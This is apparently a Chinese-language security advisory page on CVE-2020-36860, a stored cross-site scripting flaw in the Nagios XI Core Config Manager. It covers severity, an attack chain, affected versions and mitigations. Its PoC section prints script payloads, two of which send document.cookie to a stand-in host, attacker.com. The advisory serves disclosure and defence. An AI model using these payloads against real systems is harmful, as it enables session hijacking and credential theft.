IPBUF安全漏洞报告
English
CVE-2020-36860 CVSS 5.4 中危

CVE-2020-36860 Nagios XI CCM跨站脚本漏洞

披露日期: 2025-10-30

漏洞信息

漏洞编号
CVE-2020-36860
漏洞类型
XSS跨站脚本
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Nagios XI Core Config Manager (CCM)

相关标签

CVE-2020-36860XSS跨站脚本Nagios XICCMStored XSSWeb应用漏洞中危漏洞

漏洞概述

CVE-2020-36860是Nagios XI中Core Config Manager(CCM)组件存在的一个中等严重性跨站脚本(XSS)漏洞。该漏洞影响Nagios XI 5.7.4之前的版本以及CCM 3.0.7之前的版本。攻击者可以通过在对象编辑页面注入恶意脚本代码,当其他用户访问包含恶意代码的页面时,脚本将在受害者浏览器上下文中执行,从而窃取会话令牌、劫持用户会话、执行恶意操作或重定向用户到钓鱼网站。此漏洞需要攻击者具有低权限用户账户并需要用户交互才能触发,CVSS评分为5.4,属于中危级别。

技术细节

Nagios XI的Core Config Manager (CCM)组件在处理用户输入时未对特殊字符进行充分过滤和转义。在对象编辑功能(如主机、服务、联系人等对象的管理页面)中,攻击者可以通过在输入字段中注入JavaScript代码(如<script>标签或事件处理器属性)。由于服务端未对用户提交的内容进行适当的输入验证和输出编码,这些恶意代码会被存储在数据库中,并在其他用户访问相关页面时被浏览器解析执行。攻击者可利用此漏洞窃取受害者的认证cookies、模拟用户操作或进行进一步的攻击。由于攻击需要低权限账户和用户交互(诱导用户访问恶意链接),实际利用难度中等。

攻击链分析

STEP 1
步骤1
攻击者获取Nagios XI低权限账户访问权限
STEP 2
步骤2
攻击者构造恶意XSS payload注入到CCM对象编辑页面的输入字段中
STEP 3
步骤3
恶意脚本被存储在数据库中,当其他用户访问受影响页面时执行
STEP 4
步骤4
攻击者通过XSS窃取受害者会话cookie或执行恶意操作
STEP 5
步骤5
攻击者利用窃取的会话令牌进行进一步权限提升或数据窃取

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- Stored XSS PoC for CVE-2020-36860 --> <!-- Inject this payload in any CCM object edit page input field --> <script>alert(document.cookie)</script> <!-- Or use event handler --> <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)"> <!-- Example: Host name field injection --> Host Name: <img src=x onerror=this.src='https://attacker.com/log?c='+document.cookie>

影响范围

Nagios XI CCM < 3.0.7
Nagios XI < 5.7.4

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 限制CCM组件的访问权限,仅允许受信任的管理员访问;2) 对所有用户输入实施严格的输入过滤和验证;3) 配置Web应用防火墙(WAF)规则检测和阻止XSS攻击特征;4) 定期审计日志以检测可疑活动;5) 加强对低权限账户的安全监控;6) 考虑暂时禁用非必要的对象编辑功能。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表